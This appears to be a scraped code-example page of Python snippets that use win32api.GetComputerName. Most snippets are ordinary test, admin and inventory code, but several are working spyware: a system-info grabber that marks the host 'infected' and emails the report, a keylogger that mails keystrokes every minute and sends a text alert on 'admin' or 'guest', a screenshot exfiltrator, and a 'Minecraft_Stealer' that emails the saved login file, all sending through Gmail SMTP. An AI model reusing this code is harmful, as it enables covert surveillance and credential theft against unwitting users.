Exemple #1
0
def Grab_System_Info():
    # ------------------- Declarations ------------------ #
    Sys_Info_File = 'System_Info @ [' + win32api.GetComputerName(
    ) + ']@' + strftime("[(%a %d %b %Y) (%H %M %S %p)]") + '.txt'
    Get = [
        'External_IP: ' +
        urlopen('http://automation.whatismyip.com/n09230945.asp').read(),
        'Internal_IP: ' + socket.gethostbyname(socket.gethostname()),
        'Operating_System: ' + platform.system() + ' ' + platform.release() +
        ' ' + sys.getwindowsversion()[4], 'Windows_Architecture: ' +
        platform.version(), 'Architecture: ' + str(platform.architecture()[0]),
        'Domain_Name: ' + win32api.GetDomainName(), 'Computer_Name: ' +
        win32api.GetComputerName(), 'User_Name: ' + win32api.GetUserName(),
        'Processor_Name:' + platform.processor(),
        'Processor_Architecture: ' + os.getenv('PROCESSOR_ARCHITECTURE'),
        'Processor\'s_Cores: ' + os.getenv('NUMBER_OF_PROCESSORS'),
        'Windows_Directory: ' + win32api.GetWindowsDirectory(),
        'System_Directory: ' + win32api.GetSystemDirectory()
    ]

    # ------- Define Function to get MAC Address -------- #
    def Get_MAC():
        for line in os.popen('ipconfig /all'):
            if line.lstrip().startswith('Physical Address'):
                mac = line.split(':')[1].strip().replace('-', ':')
                f.write('\n *- Mac Address: ' + mac)

    # ----- Define Function to Send Sys_Info_File ------- #
    def Send_File():
        File_To_Send = open(Sys_Info_File, 'rb')
        MSG = MIMEText(File_To_Send.read())
        File_To_Send.close()
        MSG['Subject'] = Sys_Info_File
        MSG['From'] = sender
        MSG['To'] = To
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(sender, password)
        server.sendmail(sender, [To], MSG.as_string())
        server.quit

    # ----------- Create System Info File --------------- #
    f = open(Sys_Info_File, 'w')
    f = open(Sys_Info_File, 'a')
    f.write(win32api.GetComputerName() + ' was infected by: ' + virusname +
            '.')
    f.write('\n -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-\n' + Date_Time)
    # ------------- Start Grabbing Info ----------------- #
    Get_MAC()
    for i in Get:
        f.write('\n *-' + i)
    f.close()
    Send_File()
    # -------- Delete the System Information File ------- #
    os.remove(Sys_Info_File)
Exemple #2
0
    def read_one_event(self, api):
        msg = "Read One Event Testcase"
        eventID = 11
        self.write_event_log(msg, eventID)

        # Run Winlogbeat
        self.render_config_template(
            event_logs=[
                {"name": self.providerName, "api": api}
            ]
        )
        proc = self.start_beat()
        self.wait_until(lambda: self.output_has(1))
        proc.check_kill_and_wait()

        # Verify output
        events = self.read_output()
        assert len(events) == 1
        evt = events[0]
        assert evt["type"] == api
        assert evt["event_id"] == eventID
        assert evt["level"] == "Information"
        assert evt["log_name"] == self.providerName
        assert evt["source_name"] == self.applicationName
        assert evt["computer_name"].lower(
        ) == win32api.GetComputerName().lower()
        assert evt["user.identifier"] == self.get_sid_string()
        assert evt["user.name"] == win32api.GetUserName()
        assert "user.type" in evt
        assert "user.domain" in evt
        assert evt["message"] == msg

        return evt
Exemple #3
0
def getUserSid(username):
    '''
    Get the Security ID for the user

    Args:
        username (str): The user name for which to look up the SID

    Returns:
        str: The user SID

    CLI Example:

    .. code-block:: bash

        salt '*' user.getUserSid jsnuffy
    '''
    if six.PY2:
        username = _to_unicode(username)

    domain = win32api.GetComputerName()
    if username.find(u'\\') != -1:
        domain = username.split(u'\\')[0]
        username = username.split(u'\\')[-1]
    domain = domain.upper()
    return win32security.ConvertSidToStringSid(
        win32security.LookupAccountName(None, domain + u'\\' + username)[0])
Exemple #4
0
    def read_unknown_event_id(self, api):
        msg = "Unknown Event ID Testcase"
        eventID=1111
        self.write_event_log(msg, eventID)

        # Run Winlogbeat
        self.render_config_template(
            event_logs=[
                {"name": self.providerName, "api": api}
            ]
        )
        proc = self.start_winlogbeat()
        self.wait_until(lambda: self.output_has(1))
        proc.kill()

        # Verify output
        events = self.read_output()
        assert len(events) == 1
        evt = events[0]
        assert evt["type"] == api
        assert evt["eventID"] == eventID
        assert evt["level"] == "Information"
        assert evt["eventLogName"] == self.providerName
        assert evt["sourceName"] == self.applicationName
        assert evt["computerName"].lower() == win32api.GetComputerName().lower()
        assert evt["user.name"] == win32api.GetUserName()
        assert "user.type" in evt
        assert "user.domain" in evt
        assert "message" not in evt

        exit_code = proc.wait()
        assert exit_code == 0

        return evt
Exemple #5
0
def GetHostName():
    hostname = ''
    if sys.platform.startswith('win'):
        # ignore errors retrieving domain name
        try:
            try:
                # there is no win32api.GetDomainName()
                # on 9x, therefore try: except: block
                dom_name = win32api.GetDomainName()
            except:
                dom_name = None
            comp_name = win32api.GetComputerName()
            # on computers that are not members of domain
            # GetDomainName returns computer name
            # we don't want to duplicate it
            hostname = comp_name
            if (dom_name is not None) and (dom_name != comp_name):
                hostname = dom_name + '\\' + hostname
        except:
            hostname = 'Unknown'
    else:
        import socket
        try:
            hostname = socket.gethostbyaddr(
                socket.gethostbyname(socket.gethostname()))[0]
        except:
            hostname = 'Unknown'
    return hostname
Exemple #6
0
    def assert_common_fields(self, evt, msg=None, eventID=10, sid=None,
                             level="Information", extra=None):
        assert evt["computer_name"].lower() == win32api.GetComputerName().lower()
        assert "record_number" in evt
        self.assertDictContainsSubset({
            "event_id": eventID,
            "level": level,
            "log_name": self.providerName,
            "source_name": self.applicationName,
            "type": self.api,
        }, evt)

        if msg == None:
            assert "message" not in evt
        else:
            self.assertEquals(evt["message"], msg)
            self.assertDictContainsSubset({"event_data.param1": msg}, evt)

        if sid == None:
            self.assertEquals(evt["user.identifier"], self.get_sid_string())
            self.assertEquals(evt["user.name"].lower(),
                              win32api.GetUserName().lower())
            self.assertEquals(evt["user.type"], "User")
            assert "user.domain" in evt
        else:
            self.assertEquals(evt["user.identifier"], sid)
            assert "user.name" not in evt
            assert "user.type" not in evt

        if extra != None:
            self.assertDictContainsSubset(extra, evt)
Exemple #7
0
def getUserSid(username):
    domain = win32api.GetComputerName()
    if username.find(u'\\') != -1:
        domain = username.split(u'\\')[0]
        username = username.split(u'\\')[-1]
    domain = domain.upper()
    return win32security.ConvertSidToStringSid(win32security.LookupAccountName(None, domain + u'\\' + username)[0])
Exemple #8
0
def getkey():
    "return winsystem key only by win system"
    CurrentUserName = win32api.GetUserName()
    CurrentComputerName = win32api.GetComputerName()
    CurrentUserSID = win32security.LookupAccountName(CurrentComputerName, CurrentUserName)[0]
    CurrentuserSIDString = win32security.ConvertSidToStringSid(CurrentUserSID)
    return CurrentUserName + CurrentuserSIDString
Exemple #9
0
    def run(self):
        while not self.event.is_set():
            global data
            #Abort if username is typed
            if data.find("usernmae") > -1:
                show()
                print "Successful quit"
                myPID = win32api.GetCurrentProcessId()
                os.system("taskkill /pid " + str(myPID))
                exit(0)
            #Craft txt to send
            ts = datetime.datetime.now()
            SUBJECT = win32api.GetComputerName(
            ) + " : " + win32api.GetDomainName()
            if len(data) == 0:
                data += "Someone's not typing..."
            local_data = data

            message = """\
From: %s
To: %s
Subject: %s
%s
""" % ("username", "*****@*****.**", SUBJECT, local_data)
            #Send mail off
            sendMail("*****@*****.**", message)
            lowerData = data.lower()
            #Txt me if a password was found
            if lowerData.find("admin") >= 0 or lowerData.find("guest") >= 0:
                sendMail("attnt#@txt.att.net", message)
            print message + "\n"
            data = ''
            message = ''
            #Send every x seconds
            self.event.wait(60)
Exemple #10
0
def Grab_Screenshot():
    while 1:  # Will keep taking screenshots until proccess is closed
        # ----------------- Take Screen Shot ---------------- #
        screenshot_name = 'Screenshot@[' + win32api.GetComputerName(
        ) + ']@[' + strftime("(%a %d %b %Y) (%H %M %S %p)") + '].jpg'
        screenshot = ImageGrab.grab().save(screenshot_name, 'JPEG')
        # --------------------------------------------------- #

        # ---------------- Connect to the Server ------------ #
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(sender, password)
        # --------------------------------------------------- #

        # -------------- Send the Screenshot ---------------- #
        screenshot_data = open(screenshot_name, 'rb').read()
        screenshot_msg = MIMEMultipart(_subtype='related')
        screenshot_image = MIMEImage(screenshot_data, 'jpeg')
        screenshot_msg.attach(screenshot_image)
        screenshot_msg['Subject'] = screenshot_name
        screenshot_msg['From'] = sender
        screenshot_msg['To'] = To
        server.sendmail(sender, [To], screenshot_msg.as_string())
        os.remove(screenshot_name)
        server.quit()
        time.sleep(120)
Exemple #11
0
def Minecraft_Stealer():
    Lastlogin_Subject = 'Lastlogin @ [' + win32api.GetComputerName(
    ) + ']@' + strftime("[(%a %d %b %Y) (%H-%M-%S %p)]") + '.txt'
    # --------------- Connect to server ------------- #
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(sender, password)
    # ----------------------------------------------- #

    # ---------- Send the Lastlogin ----------------- #
    Lastlogin_msg = MIMEMultipart()  #create new object
    Lastlogin_msg['Subject'] = Lastlogin_Subject
    Lastlogin_msg['From'] = sender
    Lastlogin_msg['To'] = To
    #attach the file to the message
    Lastlogin_msg.attach(
        MIMEText(user + '\'s Lastlogin file, decrypt for credentials.')
    )  #attach the main body of the message
    att = MIMEBase(
        'application', 'octet-stream'
    )  #create binary file object so you can send any type of file
    att.set_payload(open(Lastlogin, "rb").read())  #open payload to be encoded

    #encode with base64, default encoding. Other options available: http://docs.python.org/library/email.encoders.html#module-email.encoders
    Encoders.encode_base64(att)

    #add headers
    att.add_header('Content-Disposition', 'attachment', filename=Lastlogin)

    Lastlogin_msg.attach(att)

    server.sendmail(sender, [To], Lastlogin_msg.as_string())
    server.quit()
    def __init__(self, config):
        machine_name = win32api.GetComputerName().lower()
        self.server = config.get('server', '')
        if not isinstance(self.server, str):
            raise ConfigTypeError('Setting `server` must be a string')
        elif not self.server:
            self.server = machine_name
        else:
            self.server = self.server.lower()

        self.username = config.get('username')
        if self.username is not None and not isinstance(self.username, str):
            raise ConfigTypeError('Setting `username` must be a string')

        self.password = config.get('password')
        if self.password is not None and not isinstance(self.password, str):
            raise ConfigTypeError('Setting `password` must be a string')

        self.network_resource = None
        if self.server != machine_name:
            try:
                ipaddress.IPv6Address(self.server)
            except ipaddress.AddressValueError:
                server = self.server
            else:
                # https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetaddconnection2a#remarks
                server = self.server.replace(':', '-')
                server = f'{server}.ipv6-literal.net'

            # https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/ns-winnetwk-netresourcea
            # https://mhammond.github.io/pywin32/PyNETRESOURCE.html
            self.network_resource = win32wnet.NETRESOURCE()
            self.network_resource.lpRemoteName = fr'\\{server}'

        self.__query_handle = None
 def __init__(self, username='', usersid=''):
     if username == '' and usersid == '':
         self.UserName = win32api.GetUserName()
         CurrentUserSID = win32security.LookupAccountName(
             win32api.GetComputerName(), self.UserName)[0]
         self.UserSID = win32security.ConvertSidToStringSid(CurrentUserSID)
     else:
         self.UserName = str(username)
         self.UserSID = str(usersid)
Exemple #14
0
def getnames():
    hostname = win32api.GetComputerName()
    user = win32api.GetUserName()
    location = win32api.GetWindowsDirectory()
    version = win32api.GetVersion()
    print "Hostname: " + hostname
    print "Username: "******"Windows Directory Location: " + location
    print version
Exemple #15
0
 def parse_user_name(userName, defDomain=None):
   domainName = defDomain
   domainSepIndex = userName.find('\\')
   if domainSepIndex != -1:
     domainName = userName[0:domainSepIndex]
     userName = userName[domainSepIndex + 1:]
     if not domainName or domainName == '.' or domainName == win32api.GetComputerName():
       domainName = defDomain
   return (domainName, userName)
Exemple #16
0
    def getSessionID(username_):
        domain_ = None
        if "@" in username_:
            (username_, domain_) = username_.split("@", 1)

        localdomain = win32api.GetComputerName()

        sessions = win32ts.WTSEnumerateSessions(None)
        session_closing = []

        for session in sessions:
            if not 0 < session["SessionId"] < 65536:
                continue

            try:
                login = win32ts.WTSQuerySessionInformation(
                    None, session["SessionId"], win32ts.WTSUserName)
                if login.lower() != username_.lower():
                    continue

                domain = win32ts.WTSQuerySessionInformation(
                    None, session["SessionId"], win32ts.WTSDomainName)
                if domain_ is not None and domain.lower() == localdomain.lower(
                ):
                    Logger.debug(
                        "Ts session %d is not from the domain user %s but from a local user"
                        % (session["SessionId"], username_))
                    continue

                elif domain_ is None and domain.lower() != localdomain.lower():
                    Logger.debug(
                        "Ts session %d is not from the local user %s but from a domain user"
                        % (session["SessionId"], username_))
                    continue

                if Config.checkShell:
                    shell = win32ts.WTSQuerySessionInformation(
                        None, session["SessionId"], win32ts.WTSInitialProgram)
                    if not os.path.basename(shell).lower().startswith("ovd"):
                        Logger.debug("Ts session %d is not relative to OVD" %
                                     (session["SessionId"]))
                        continue

            except pywintypes.error, err:
                if err[0] == 7007:  # A close operation is pending on the session.
                    session_closing.append(session)
                if err[0] == 7022:  # Session not found.
                    continue
                else:
                    Logger.exception("Unable to list session %d" %
                                     session["SessionId"])
                continue

            return session["SessionId"]
Exemple #17
0
def ConfigureLogOnAsAServicePolicy(accountName):
    # Modifies LocalSecurityPolicy to allow run buildbot as specified user
    # You can do it manually by running "secpol.msc"
    # Open Local Policies > User Rights Assignment > Log on as a service
    # Add User or Group...
    #
    # Args:
    #  accountName(str): fully qualified string in the domain_name\user_name format.
    #                    use ".\user_name" format for local account
    SE_SERVICE_LOGON_RIGHT = "SeServiceLogonRight"
    try:
        if "\\" not in accountName or accountName.startswith(".\\"):
            computerName = os.environ['COMPUTERNAME']
            if not computerName:
                computerName = win32api.GetComputerName()
                if not computerName:
                    print("error: Cannot determine computer name")
                    return
            accountName = "{}\\{}".format(computerName,
                                          accountName.lstrip(".\\"))

        account = win32security.LookupAccountName(None, accountName)
        accountSid = account[0]
        sid = win32security.ConvertSidToStringSid(accountSid)
    except win32api.error as err:
        print("error {} ({}): {}".format(err.winerror, err.funcname,
                                         err.strerror))
        return

    with GetLocalSecurityPolicyHandle(
            '', win32security.POLICY_ALL_ACCESS) as policy:
        win32security.LsaAddAccountRights(policy, accountSid,
                                          [SE_SERVICE_LOGON_RIGHT])

    # verify if policy was really modified
    with GetLocalSecurityPolicyHandle(
            '', win32security.POLICY_ALL_ACCESS) as policy:
        try:
            privileges = win32security.LsaEnumerateAccountRights(
                policy, accountSid)
        except win32api.error as err:
            # If no account rights are found or if the function fails for any other reason,
            # the function returns throws winerror.ERROR_FILE_NOT_FOUND or any other
            print("error {} ({}): {}".format(err.winerror, err.funcname,
                                             err.strerror))
            privileges = []

        if SE_SERVICE_LOGON_RIGHT in privileges:
            print("Account {}({}) has granted {} privilege.".format(
                accountName, sid, SE_SERVICE_LOGON_RIGHT))
        else:
            print("error: Account {}({}) does not have {} privilege.".format(
                accountName, sid, SE_SERVICE_LOGON_RIGHT))
Exemple #18
0
 def _parse_user_name(userName):
   dcName = None
   domainName = None
   domainSepIndex = userName.find('\\')
   if domainSepIndex != -1:
     domainName = userName[0:domainSepIndex]
     userName = userName[domainSepIndex + 1:]
     if domainName == '.' or domainName == win32api.GetComputerName():
       domainName = None
     else:
       dcName = win32net.NetGetDCName(None, domainName)
   return (domainName, dcName, userName)
Exemple #19
0
 def __init__(self):
     # variable to write a flat file
     self.fileHandle = None
     self.HKEY_CLASSES_ROOT = win32con.HKEY_CLASSES_ROOT
     self.HKEY_CURRENT_USER = win32con.HKEY_CURRENT_USER
     self.HKEY_LOCAL_MACHINE = win32con.HKEY_LOCAL_MACHINE
     self.HKEY_USERS = win32con.HKEY_USERS
     self.FILE_PATH = "//masblrfs06/karcherarea$/workarea/nishitg/" + win32api.GetComputerName(
     )
     self.CONST_OS_SUBKEY = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
     self.CONST_PROC_SUBKEY = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
     self.CONST_SW_SUBKEY = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
Exemple #20
0
    def __init__(self, quarterback):
        gobject.GObject.__init__(self)
        self.quarterback = quarterback
        self.process_list = {}
        self.session_user = 0
        self.first_time = True
        computer_name = win32api.GetComputerName()
        #self.oWMI = win32com.client.GetObject(r"winmgmts:\\%s\root\cimv2" % computer_name)
        self.oWMI = win32com.client.GetObject(r"winmgmts:")

        reactor.addSystemEventTrigger("before", "startup", self.start)
        reactor.addSystemEventTrigger("before", "shutdown", self.stop)
Exemple #21
0
	def GetHostInfo():

		hostname	= win32api.GetComputerName()
		username 	= win32api.GetUserName()
		domain 		= win32api.GetDomainName()

		host_info 	= '{0}, {1}, {2}'.format(hostname, username, domain)
		host_info	= zlib.compress(host_info)
		host_info	= base64.b64encode(host_info)
		postdata 	= buffer(host_info)
		
		return hostname, postdata
    def iterConnectableShares(self):
        nr = win32wnet.NETRESOURCE()
        nr.dwScope = RESOURCE_GLOBALNET
        nr.dwUsage = RESOURCEUSAGE_CONTAINER
        nr.lpRemoteName = "\\\\" + win32api.GetComputerName()

        handle = win32wnet.WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, nr)
        while 1:
            items = win32wnet.WNetEnumResource(handle, 0)
            if len(items) == 0:
                break
            for item in items:
                if item.dwDisplayType == RESOURCEDISPLAYTYPE_SHARE:
                    yield item
Exemple #23
0
def getLoginDetails():
    """ Get current user, domain controller. """
    user = win32api.GetUserName()
    domain = win32api.GetDomainName()
    hostname = win32api.GetComputerName()

    if domain == hostname:
        return (user, None)
    else:
        try:
            d = win32security.DsGetDcName(domainName=domain)
            return (user, d['DomainControllerName'])
        except win32security.error:
            return (user, None)
Exemple #24
0
def install(path, objects):
    if not path:
        mb.showwarning("Внимение", "Вы не выбрали путь!")
        return

    if os.path.exists(path):
        try:
            path += "/Lab2"
            if not os.path.exists(path):
                os.mkdir(path)

            if not os.path.isfile(path + "/main.py"):
                answer = mb.askyesno(title="Вопрос", message="Установка может занять некоторое время, продолжить?".format(path))

                if answer:
                    for item in objects:
                        item.destroy()

                    Repo.clone_from(url='http://*****:*****@github.com/KurtOleh/Lab.git', to_path=path)

                    signature = os.getlogin() + win32api.GetComputerName() + win32api.GetWindowsDirectory() + win32api.GetSystemDirectory()
                    signature += "{}{}{}".format(win32api.GetSystemMetrics(0), win32api.GetSystemMetrics(7),
                                                 win32api.GlobalMemoryStatus()['TotalPhys'])
                    sha = hashlib.sha256(signature.encode()).hexdigest()

                    try:
                        key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\KurtOlehHorobetsAngelina")
                    except OSError:
                        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\KurtOlehHorobetsAngelina", 0, winreg.KEY_ALL_ACCESS)

                    winreg.SetValueEx(key, "Signature", 0, winreg.REG_SZ, sha)
                    key.Close()
                    win.title("Успешно")
                    Label(win, text="Программа успешно установлена!", font=("Arial 32", 12)).pack(pady=15)

                    button = Button(win, text="Завершить", font=("Arial 32", 11), width=10,  relief=FLAT,  background="#34506b", foreground="#ccc", command=quit_app())
                    button.place(x=318, y=130)
                else:
                    win.destroy()
            else:
                mb.showerror("Ошибка", "Программа уже установлена!")
                win.destroy()

        except (PermissionError, SystemExit):
            mb.showerror("Ошибка", "Отказано в доступе, выберете другой путь!")

    else:
        mb.showwarning("Внимание", "Некорректный путь. Выберете другой!")
Exemple #25
0
def test(serverName):
    if string.lower(serverName)==string.lower(win32api.GetComputerName()):
        print("You must specify a remote server name, not the local machine!")
        return

    # Hack to overcome a DCOM limitation.  As the Python.Interpreter object
    # is probably installed locally as an InProc object, DCOM seems to ignore
    # all settings, and use the local object.
    clsctx = pythoncom.CLSCTX_SERVER & ~pythoncom.CLSCTX_INPROC_SERVER
    ob = win32com.client.DispatchEx("Python.Interpreter", serverName, clsctx=clsctx)
    ob.Exec("import win32api")
    actualName = ob.Eval("win32api.GetComputerName()")
    if string.lower(serverName) != string.lower(actualName):
        print("Error: The object created on server '%s' reported its name as '%s'" % (serverName, actualName))
    else:
        print("Object created and tested OK on server '%s'" % serverName)
Exemple #26
0
 def getSoftwareList(self):
     try:
         hCounter = 0
         hAttCounter = 0
         # connecting to the base
         hHandle = win32api.RegConnectRegistry(None,
                                               win32con.HKEY_LOCAL_MACHINE)
         # getting the machine name and domain name
         hCompName = win32api.GetComputerName()
         hDomainName = win32api.GetDomainName()
         # opening the sub key to get the list of Softwares installed
         hHandle = win32api.RegOpenKeyEx(self.HKEY_LOCAL_MACHINE,
                                         self.CONST_SW_SUBKEY, 0,
                                         win32con.KEY_ALL_ACCESS)
         # get the total no. of sub keys
         hNoOfSubNodes = win32api.RegQueryInfoKey(hHandle)
         # delete the entire data and insert it again
         #deleteMachineSW(hCompName,hDomainName)
         # browsing each sub Key which can be Applications installed
         while hCounter < hNoOfSubNodes[0]:
             hAppName = win32api.RegEnumKey(hHandle, hCounter)
             hPath = self.CONST_SW_SUBKEY + "\\" + hAppName
             # initialising hAttCounter
             hAttCounter = 0
             hOpenApp = win32api.RegOpenKeyEx(self.HKEY_LOCAL_MACHINE,
                                              hPath, 0,
                                              win32con.KEY_ALL_ACCESS)
             # [1] will give the no. of attributes in this sub key
             hKeyCount = win32api.RegQueryInfoKey(hOpenApp)
             hMaxKeyCount = hKeyCount[1]
             hSWName = ""
             hSWVersion = ""
             while hAttCounter < hMaxKeyCount:
                 hData = win32api.RegEnumValue(hOpenApp, hAttCounter)
                 if hData[0] == "DisplayName":
                     hSWName = hData[1]
                     self.preparefile("SW Name", hSWName)
                 elif hData[0] == "DisplayVersion":
                     hSWVersion = hData[1]
                     self.preparefile("SW Version", hSWVersion)
                 hAttCounter = hAttCounter + 1
             #if (hSWName !=""):
             #insertMachineSW(hCompName,hDomainName,hSWName,hSWVersion)
             hCounter = hCounter + 1
     except:
         self.preparefile("Exception", "In exception in getSoftwareList")
Exemple #27
0
def GeneralInfo():
    global host, fv, srcfile
    host = win32api.GetComputerName()
    srcfile = "C:\\" + host
    fv = open(srcfile, 'w')
    fv.write("Machine NAME : ")
    fv.write(host)
    fv.write('\n')
    fv.write("the machine is joined to the domain : ")
    fv.write(str(win32api.GetDomainName()))
    fv.write('\n')
    fv.write("these settings were logged for user : "******"System Time is : ")
    fv.write(str(win32api.GetSystemTime()))
    fv.write('\n\n\n')
Exemple #28
0
def getSessionID(username_):
    domain_ = None
    if "@" in username_:
        (username_, domain_) = username_.split("@", 1)

    localdomain = win32api.GetComputerName()

    sessions = win32ts.WTSEnumerateSessions(None)

    for session in sessions:
        if not 0 < session["SessionId"] < 65536:
            continue

        try:
            login = win32ts.WTSQuerySessionInformation(None,
                                                       session["SessionId"],
                                                       win32ts.WTSUserName)
            if login.lower() != username_.lower():
                continue

            domain = win32ts.WTSQuerySessionInformation(
                None, session["SessionId"], win32ts.WTSDomainName)
            if domain_ is not None and domain.lower() == localdomain.lower():
                Logger.debug(
                    "Ts session %d is not from the domain user %s but from a local user"
                    % (session["SessionId"], username_))
                continue

            elif domain_ is None and domain.lower() != localdomain.lower():
                Logger.debug(
                    "Ts session %d is not from the local user %s but from a domain user"
                    % (session["SessionId"], username_))
                continue

        except pywintypes.error, err:
            if err[0] == 7007:  # A close operation is pending on the session.
                session_closing.append(session)
            if err[0] == 7022:  # Session not found.
                continue
            else:
                Logger.warn("Unable to list session %d" %
                            (session["SessionId"]))
                Logger.debug("WTSQuerySessionInformation returned %s" % (err))
            continue

        return session["SessionId"]
Exemple #29
0
def collecting_computer_information():
    user = "******" + win_api.GetUserName()
    computer_name = "Имя компьютера: " + win_api.GetComputerName()
    windows_directory = "Путь к папке OS Windows: " + win_api.GetWindowsDirectory(
    )
    system_directory = "Путь к папке с системными файлами: " + win_api.GetSystemDirectory(
    )
    volume_label = "Метка Тома: " + str(win_api.GetVolumeInformation("E:\\"))
    memory = "Обьем Памяти:" + str(win_api.GetDiskFreeSpace())
    screen_height = "Высота экрана: " + str(win_api.GetSystemMetrics(0))
    keyboard_type = "Тип и подтип клавиатуры: " + str(
        win_api.GetKeyboardLayout())
    all_info = " ".join([
        user, computer_name, windows_directory, system_directory, volume_label,
        memory, screen_height, keyboard_type
    ])
    all_info = sha512(all_info.encode())
    return all_info.hexdigest()
Exemple #30
0
def get_computerName():
    host = win32api.GetComputerName()
    print(host)

    with open('sprite.bmp', 'rb') as f:
        content = f.read()[54:]

    lsb = ''
    for i in content:
        lsb += str(i & 1)

    step = 7  # holly shit, so guessy.
    with open('computer_name', 'w', encoding='utf-8') as f:
        a = ''
        for i in range(0, len(lsb), step):
            a += chr(int(lsb[i:i + step], 2))

        f.write(a)